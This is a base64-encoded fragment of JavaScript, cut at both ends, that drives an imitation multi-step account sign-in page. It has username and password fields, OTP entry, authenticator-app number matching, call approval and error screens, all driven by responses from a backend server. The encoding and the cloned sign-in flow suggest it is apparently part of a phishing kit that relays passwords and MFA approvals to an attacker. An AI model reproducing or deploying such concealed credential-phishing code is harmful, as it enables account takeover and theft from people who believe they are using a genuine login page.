mIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJlcnJvciBlbnRlciBhIGNvZGUiKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhdXRoYXBwZXJyb3JkZXNjJykucXVlcnlTZWxlY3Rvcignc3BhbicpLnNldEF0dHJpYnV0ZSgnY2xhc3MnLCAnZXJyb3InKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhdXRoYXBwZXJyb3JkZXNjJykucXVlcnlTZWxlY3Rvcignc3BhbicpLmlubmVyVGV4dCA9ICJTb3JyeSwgd2UncmUgaGF2aW5nIHRyb3VibGUgdmVyaWZ5aW5nIHlvdXIgYWNjb3VudC4gUGxlYXNlIHRyeSBhZ2Fpbi4gIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJzZXNzaW9uIHRpbWVvdXQiKXsNCiAgICAgICAgICAgIGlmKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3RyeWFnYWlubGF0ZXInKS5jbGFzc0xpc3QuY29udGFpbnMoJ2Qtbm9uZScpKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3RyeWFnYWlubGF0ZXInKS5xdWVyeVNlbGVjdG9yKCcudGl0bGUnKS5pbm5lclRleHQgPSAiV2UgZGlkbid0IGhlYXIgZnJvbSB5b3UiOw0KICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJyt2aWV3KS5xdWVyeVNlbGVjdG9yKCcubG9hZGluZy1jb250YWluZXInKS5jbGFzc0xpc3QucmVtb3ZlKCdsb2FkaW5nJyk7DQogICAgICAgICAgICBydW5hbmltYXRpb24oMix2aWV3LDAuNSwwKTsNCiAgICAgICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl90cnlhZ2FpbmxhdGVyJykucXVlcnlTZWxlY3RvcignI3RyeWFnYWluaGVhZGVyJykuc3R5bGUuZGlzcGxheSA9ICJibG9jayI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl90cnlhZ2FpbmxhdGVyJykucXVlcnlTZWxlY3RvcignI3RyeWFnYWluX3dpdGhvdXRpbnRlcm5ldCcpLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdHJ5YWdhaW5sYXRlcicpLnF1ZXJ5U2VsZWN0b3IoJy5zZWN0aW9uY29udGVudCcpLnN0eWxlLmFuaW1hdGlvbiA9ICdzaG93LWZyb20tcmlnaHQgMC41cyc7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl90cnlhZ2FpbmxhdGVyJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gInRyeWFnYWlubGF0ZXIiOw0KICAgICAgICAgICAgfSwgMjAwKTsNCiAgICAgICAgICAgIH0sIDUwMCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAicmVkaXJlY3RlZCBiYWNrIHRvIHNpZ24gaW4iKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpbnBfdW5hbWUnKS52YWx1ZSA9ICIiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Vycm9yX3B3ZCcpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2lucF9wd2QnKS52YWx1ZSA9ICIiOw0KICAgICAgICAgICAgYm90dG9tc2VjdGlvbmxpbmtzKCd1bmFtZScsW3thX2lkOiAic2lnbnVwIiwgYV90ZXh0OiAiQ3JlYXRlIG9uZSEiLCB0ZXh0OiAiTm8gYWNjb3VudD8iLCB0eXBlOiAidGV4dF9saW5rIn0se2FfaWQ6ICJjYW50QWNjZXNzQWNjb3VudCIsIGFfdGV4dDogIkNhbid0IGFjY2VzcyB5b3VyIGFjY291bnQ/IiwgdHlwZTogImxpbmsifV0pOzsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykucXVlcnlTZWxlY3RvcignLnNlY3Rpb25jb250ZW50Jykuc3R5bGUuYW5pbWF0aW9uID0gJyc7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdW5hbWUnKS5xdWVyeVNlbGVjdG9yKCcuc2VjdGlvbmNvbnRlbnQnKS5zdHlsZS5hbmltYXRpb24gPSAnJzsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3VuYW1lJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICBpZiAoZG9jdW1lbnQuYm9keS5zdHlsZS5iYWNrZ3JvdW5kSW1hZ2UpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuc3R5bGUuYmFja2dyb3VuZEltYWdlID0gIiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoZG9jdW1lbnQuYm9keS5zdHlsZS5iYWNrZ3JvdW5kQ29sb3IpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuc3R5bGUuYmFja2dyb3VuZENvbG9yID0gIiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAibGV0cyB0cnkgc29tZXRoaW5nIGVsc2Ugb3IgY29tZSBiYWNrIil7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9zaWduaW5hbm90aGVyZXJyb3InKS5xdWVyeVNlbGVjdG9yKCcudGl0bGUnKS50ZXh0Q29udGVudCA9IHJlc3BvbnNlWyd0aXRsZSddOw0KICAgICAgICAgICAgY2hlY2tlcnJvcmRlc2MoJ3NpZ25pbmFub3RoZXJlcnJvcmRlc2MnLDIscmVzcG9uc2VbJ3NpZ25pbmFub3RoZXJlcnJvcmRlc2MnXSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fc2lnbmluYW5vdGhlcmVycm9yJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ3NpZ25pbmFub3RoZXJlcnJvcicscmVzcG9uc2VbJ2JvdHRvbXNlY3Rpb24nXSk7DQogICAgICAgICAgICB2aWV3ID0gInNpZ25pbmFub3RoZXJlcnJvciI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAieW91IGRvbnQgaGF2ZSBhY2Nlc3MiKXsNCiAgICAgICAgICAgIC8vIGNoZWNrZXJyb3JkZXNjKCd5b3Vkb250aGF2ZWFjY2Vzc3NpZ25vdXQnLDIscmVzcG9uc2VbJ3lvdWRvbnRoYXZlYWNjZXNzZGVzYyddKTsNCiAgICAgICAgICAgIC8vIGNoZWNrZXJyb3JkZXNjKCd5b3Vkb250aGF2ZWFjY2VzbW9yZWRldGFpbHMnLDIscmVzcG9uc2VbJ21vcmVkZXRhaWxzbGluayddKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl95b3Vkb250aGF2ZWFjY2VzcycpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICJ5b3Vkb250aGF2ZWFjY2VzcyI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAib3RwIHNlbnQiKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl8yZmEiKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJvdHBpbWciKS5zZXRBdHRyaWJ1dGUoInNyYyIsIHJlc3BvbnNlWydpbWFnZV9zcmMnXSk7DQogICAgICAgICAgICBjaGVja2Vycm9yZGVzYygnb3RwJywwLHJlc3BvbnNlWydkZXNjcmlwdGlvbiddKTsNCiAgICAgICAgICAgIGJvdHRvbXNlY3Rpb25saW5rcygnb3RwJyxyZXNwb25zZVsnYm90dG9tc2VjdGlvbiddKQ0KICAgICAgICAgICAgY2hhbmdlYmFja2J1dHRvbignb3RwJyxyZXNwb25zZVsnYmFja2J1dHRvbiddKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9vdHAnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAib3RwIjsNCiAgICAgICAgICAgIHZpZXd0eXBlID0gbnVsbDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJhcHByb3ZlIGF1dGggcmVxdWVzdCBhdXRoIGFwcCIpew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yXzJmYSIpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImF1dGhhcHBpbWciKS5zZXRBdHRyaWJ1dGUoInNyYyIsIHJlc3BvbnNlWydpbWFnZV9zcmMnXSk7DQogICAgICAgICAgICBjaGVja2Vycm9yZGVzYygnYXV0aGFwcCcsMCxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ2F1dGhhcHAnLHJlc3BvbnNlWydib3R0b21zZWN0aW9uJ10pDQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCdhdXRoYXBwJyxyZXNwb25zZVsnYmFja2J1dHRvbiddKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJhdXRoYXBwY29kZSIpLnRleHRDb250ZW50ID0gcmVzcG9uc2VbJ2F1dGhhcHBjb2RlJ107DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fYXV0aGFwcCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICJhdXRoYXBwIjsNCiAgICAgICAgICAgIHZpZXd0eXBlID0gbnVsbDsNCiAgICAgICAgICAgIHdhaXQyZmEoJ2FwcCcscmVzcG9uc2VbJ21ldGhvZGlkJ10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gImFwcHJvdmUgYXV0aCByZXF1ZXN0IGNhbGxpbmciKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX2F1dGhjYWxsJykucXVlcnlTZWxlY3RvcignLmJhY2snKS5mb2N1cygpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yXzJmYSIpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImF1dGhjYWxsaW1nIikuc2V0QXR0cmlidXRlKCJzcmMiLCByZXNwb25zZVsnaW1hZ2Vfc3JjJ10pOw0KICAgICAgICAgICAgY2hlY2tlcnJvcmRlc2MoJ2F1dGhjYWxsJywwLHJlc3BvbnNlWydkZXNjcmlwdGlvbiddKTsNCiAgICAgICAgICAgIGJvdHRvbXNlY3Rpb25saW5rcygnYXV0aGNhbGwnLHJlc3BvbnNlWydib3R0b21zZWN0aW9uJ10pDQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCdhdXRoY2FsbCcscmVzcG9uc2VbJ2JhY2tidXR0b24nXSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fYXV0aGNhbGwnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAiYXV0aGNhbGwiOw0KICAgICAgICAgICAgdmlld3R5cGUgPSBudWxsOw0KICAgICAgICAgICAgd2FpdDJmYSgnY2FsbCcpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gImVycm9yIil7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJzJmYScscmVzcG9uc2VbJ2JvdHRvbXNlY3Rpb24nXSk7DQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCcyZmEnLHJlc3BvbnNlWydiYWNrYnV0dG9uJ10pOw0KICAgICAgICAgICAgY2hlY2tlcnJvcmRlc2MoJzJmYScsMSxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAidmVyaWZ5ZW1haWwiKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl8yZmEiKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgIGNoZWNrZXJyb3JkZXNjKCd2ZXJpZnllbWFpbCcsMCxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ2NvbmZpcm1lbWFpbCcscmVzcG9uc2VbJ2JvdHRvbXNlY3Rpb24nXSkNCiAgICAgICAgICAgIGNoYW5nZWJhY2tidXR0b24oJ2NvbmZpcm1lbWFpbCcscmVzcG9uc2VbJ2JhY2tidXR0b24nXSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fY29uZmlybWVtYWlsJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gImNvbmZpcm1lbWFpbCI7DQogICAgICAgICAgICB2aWV3dHlwZSA9IG51bGw7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAicmVxdWVzdCB3YXNudCBzZW50Iil7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX2F1dGhhcHBlcnJvcicpLnF1ZXJ5U2VsZWN0b3IoJy50aXRsZScpLnRleHRDb250ZW50ID0gIlJlcXVlc3Qgd2Fzbid0IHNlbnQiOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiYXV0aGFwcGVycm9yZGVzYyIpLmNsYXNzTGlzdC50b2dnbGUoJ2Vycm9yJyk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhdXRoYXBwZXJyb3JkZXNjJykuaW5uZXJIVE1MID0gYDxzcGFuPlNvcnJ5LCB3ZSdyZSBoYXZpbmcgdHJvdWJsZSB2ZXJpZnlpbmcgeW91ciBhY2NvdW50LiBQbGVhc2UgdHJ5IGFnYWluLjwvc3Bhbj48YSBpZD0iVmlld0RldGFpbHMiIGNsYXNzPSJuby13cmFwIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCkiPlZpZXcgZGV0YWlsczwvYT5gOw0KICAgICAgICB2aWV3ID0gImF1dGhhcHBlcnJvciI7DQogICAgICAgIHZpZXd0eXBlID0gbnVsbDsNCiAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgIH0pDQogICAgICAgLmNhdGNoKGVycm9yID0+IHsNCiAgICAgICBsb2FkaW5nYW5pbWF0aW9uKDEpOw0KICAgICAgIGNvbnNvbGUuZXJyb3IoJ0Vycm9yOicsIGVycm9yKTsNCiAgICAgICB9KTsNCiAgICB9DQogICAgLy8gaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gInJlZGlyZWN0ZWQgYmFjayB0byBzaWduIGluIil7DQogICAgLy8gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2lucF91bmFtZScpLnZhbHVlID0gIiI7DQogICAgLy8gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Vycm9yX3B3ZCcpLmlubmVyVGV4dCA9ICIiOw0KICAgIC8vIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpbnBfcHdkJykudmFsdWUgPSAiIjsNCiAgICAvLyBib3R0b21zZWN0aW9ubGlua3MoJ3VuYW1lJyxbe2FfaWQ6ICJzaWdudXAiLCBhX3RleHQ6ICJDcmVhdGUgb25lISIsIHRleHQ6ICJObyBhY2NvdW50PyIsIHR5cGU6ICJ0ZXh0X2xpbmsifSx7YV9pZDogImNhbnRBY2Nlc3NBY2NvdW50IiwgYV90ZXh0OiAiQ2FuJ3QgYWNjZXNzIHlvdXIgYWNjb3VudD8iLCB0eXBlOiAibGluayJ9XSk7Ow0KICAgIC8vIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykucXVlcnlTZWxlY3RvcignLnNlY3Rpb25jb250ZW50Jykuc3R5bGUuYW5pbWF0aW9uID0gJyc7DQogICAgLy8gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fIit2aWV3KS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAvLyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl91bmFtZScpLnF1ZXJ5U2VsZWN0b3IoJy5zZWN0aW9uY29udGVudCcpLnN0eWxlLmFuaW1hdGlvbiA9ICcnOw0KICAgIC8vIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3VuYW1lJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgLy8gaWYgKGRvY3VtZW50LmJvZHkuc3R5bGUuYmFja2dyb3VuZEltYWdlKSB7DQogICAgLy8gICBkb2N1bWVudC5ib2R5LnN0eWxlLmJhY2tncm91bmRJbWFnZSA9ICIiOw0KICAgIC8vICAgfQ0KICAgIC8vICAgaWYgKGRvY3VtZW50LmJvZHkuc3R5bGUuYmFja2dyb3VuZENvbG9yKSB7DQogICAgLy8gICBkb2N1bWVudC5ib2R5LnN0eWxlLmJhY2tncm91bmRDb2xvciA9ICIiOw0KICAgIC8vICAgfQ0KICAgIC8vIHZpZXcgPSAidW5hbWUiOw0KICAgIC8vIH0NCiAgICAvLyBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAicmVxdWVzdCB3YXNudCBzZW50Iil7DQogICAgLy8gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fYXV0aGFwcGVycm9yJykucXVlcnlTZWxlY3RvcignLnRpdGxlJykudGV4dENvbnRlbnQgPSAiUmVxdWVzdCB3YXNuJ3Qgc2VudCI7DQogICAgLy8gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImF1dGhhcHBlcnJvcmRlc2MiKS5jbGFzc0xpc3QudG9nZ2xlKCdlcnJvcicpOw0KICAgIC8vIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhdXRoYXBwZXJyb3JkZXNjJykuaW5uZXJIVE1MID0gYDxzcGFuPlNvcnJ5LCB3ZSdyZSBoYXZpbmcgdHJvdWJsZSB2ZXJpZnlpbmcgeW91ciBhY2NvdW50LiBQbGVhc2UgdHJ5IGFnYWluLjwvc3Bhbj48YSBpZD0iVmlld0RldGFpbHMiIGNsYXNzPSJuby13cmFwIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCkiPlZpZXcgZGV0YWlsczwvYT5gOw0KICAgIC8vIHZpZXcgPSAiYXV0aGFwcGVycm9yIjsNCiAgICAvLyB9DQogICAgLy8gaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gImFwcHJvdmUgYXV0aCByZXF1ZXN0IGF1dGggYXBwIil7DQogICAgLy8gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImF1dGhhcHBpbWciKS5zZXRBdHRyaWJ1dGUoInNyYyIsIHJlc3BvbnNlWydpbWFnZV9zcmMnXSk7DQogICAgLy8gY2hlY2tlcnJvcmRlc2MoJ2F1dGhhcHAnLDAscmVzcG9uc2VbJ2Rlc2NyaXB0aW9uJ10pOw0KICAgIC8vIGJvdHRvbXNlY3Rpb25saW5rcygnYXV0aGFwcCcscmVzcG9uc2VbJ2JvdHRvbXNlY3Rpb24nXSkNCiAgICAvLyBjaGFuZ2ViYWNrYnV0dG9uKCdhdXRoYXBwJyxyZXNwb25zZVsnYmFja2J1dHRvbiddKTsNCiAgICAvLyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiYXV0aGFwcGNvZGUiKS50ZXh0Q29udGVudCA9IHJlc3BvbnNlWydhdXRoYXBwY29kZSddOw0KICAgIC8vIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uXyIrdmlldykuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgLy8gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fYXV0aGFwcCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgIC8vIHZpZXcgPSAiYXV0aGFwcCI7DQogICAgLy8gfQ0KICAgIC8vIGlmIChlbGVtZW50LnRleHRDb250ZW50ID09ICJTaWduIG91dCBhbmQgc2lnbiBpbiB3aXRoIGEgZGlmZmVyZW50IGFjY291bnQiKXsNCiAgICAvLyBib3R0b21zZWN0aW9ubGlua3MoJ3VuYW1lJyxbe2FfaWQ6ICJzaWdudXAiLCBhX3RleHQ6ICJDcmVhdGUgb25lISIsIHRleHQ6ICJObyBhY2NvdW50PyIsIHR5cGU6ICJ0ZXh0X2xpbmsifSx7YV9pZDogImNhbnRBY2Nlc3NBY2NvdW50IiwgYV90ZXh0OiAiQ2FuJ3QgYWNjZXNzIHlvdXIgYWNjb3VudD8iLCB0eXBlOiAibGluayJ9XSk7Ow0KICAgIC8vIGNoYW5nZWJhY2tidXR0b24oJ3VuYW1lJywwKTsNCiAgICAvLyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl8iK3ZpZXcpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgIC8vIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpbnBfdW5hbWUnKS52YWx1ZSA9ICIiOw0KICAgIC8vIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlcnJvcl9wd2QnKS5pbm5lclRleHQgPSAiIjsNCiAgICAvLyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaW5wX3B3ZCcpLnZhbHVlID0gIiI7DQogICAgLy8gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdW5hbWUnKS5xdWVyeVNlbGVjdG9yKCcuc2VjdGlvbmNvbnRlbnQnKS5zdHlsZS5hbmltYXRpb24gPSAnJzsNCiAgICAvLyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl91bmFtZScpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgIC8vIGlmIChkb2N1bWVudC5ib2R5LnN0eWxlLmJhY2tncm91bmRJbWFnZSkgew0KICAgIC8vIGRvY3VtZW50LmJvZHkuc3R5bGUuYmFja2dyb3VuZEltYWdlID0gIiI7DQogICAgLy8gfQ0KICAgIC8vIGlmIChkb2N1bWVudC5ib2R5LnN0eWxlLmJhY2tncm91bmRDb2xvcikgew0KICAgIC8vIGRvY3VtZW50LmJvZHkuc3R5bGUuYmFja2dyb3VuZENvbG9yID0gIiI7DQogICAgLy8gfQ0KICAgIC8vIHZpZXcgPSAidW5hbWUiOw0KICAgIC8vIH0NCg0KICAgIH0NCiAgICB9DQoNCiAgICBmdW5jdGlvbiBhdXRoYXBwYm90dG9tdGV4dChhcnJheSkgew0KICAgIGNvbnN0IGJvdHRvbXNlY3Rpb24gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9hdXRoYXBwZXJyb3InKS5xdWVyeVNlbGVjdG9yKCcudGV4dC1ib2R5Jyk7DQogICAgYm90dG9tc2VjdGlvbi5pbm5lckhUTUwgPSAnJzsNCiAgICBhcnJheS5mb3JFYWNoKGl0ZW0gPT4gew0KICAgIGlmIChpdGVtLnR5cGUgPT09ICd0ZXh0X2xpbmsnKSB7DQogICAgY29uc3QgdGV4dFdpdGhMaW5rID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgncCcpOw0KICAgIHRleHRXaXRoTGluay5jbGFzc0xpc3QuYWRkKCdsaW5rJywnbWItMTYnKTsNCiAgICB0ZXh0V2l0aExpbmsuaW5uZXJIVE1MID0gYCR7aXRlbS50ZXh0fSA8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCkiIGRhdGEtaWQ9ImAraXRlbS5hX2lkK2AiIG9uY2xpY2s9ImxpbmtvcHRpb25jbGljayh0aGlzKSIgY2xhc3M9ImxpbmsiIHN0eWxlPSJkaXNwbGF5OiB1bnNldDsiPiR7aXRlbS5hX3RleHR9PC9hPmA7DQogICAgYm90dG9tc2VjdGlvbi5hcHBlbmRDaGlsZCh0ZXh0V2l0aExpbmspOw0KICAgIH0gZWxzZSBpZiAoaXRlbS50eXBlID09PSAnbGlua190ZXh0Jykgew0KICAgIGNvbnN0IGxpbmt3aXRoVGV4dCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3AnKTsNCiAgICBsaW5rd2l0aFRleHQuY2xhc3NMaXN0LmFkZCgnbGluaycsJ21iLTE2Jyk7DQogICAgbGlua3dpdGhUZXh0LmlubmVySFRNTCA9IGA8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCkiIGRhdGEtaWQ9ImAraXRlbS5hX2lkK2AiIG9uY2xpY2s9ImxpbmtvcHRpb25jbGljayh0aGlzKSIgY2xhc3M9ImxpbmsiIHN0eWxlPSJkaXNwbGF5OiB1bnNldDsiPiR7aXRlbS5hX3RleHR9PC9hPiAke2l0ZW0udGV4dH1gOw0KICAgIGJvdHRvbXNlY3Rpb24uYXBwZW5kQ2hpbGQobGlua3dpdGhUZXh0KTsNCiAgICBjb25zdCBwYXJhZ3JhcGggPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdwJyk7DQogICAgcGFyYWdyYXBoLnRleHRDb250ZW50ID0gaXRlbS50ZXh0Ow0KICAgIGJvdHRvbXNlY3Rpb24uYXBwZW5kQ2hpbGQocGFyYWdyYXBoKQ0KICAgIH0gZWxzZSBpZiAoaXRlbS50eXBlID09PSAnbGluaycpIHsNCiAgICBjb25zdCBsaW5rT25seSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsNCiAgICBsaW5rT25seS5jbGFzc0xpc3QuYWRkKCdsaW5rJywnbWItMTYnKTsNCiAgICBsaW5rT25seS5zZXRBdHRyaWJ1dGUoJ3N0e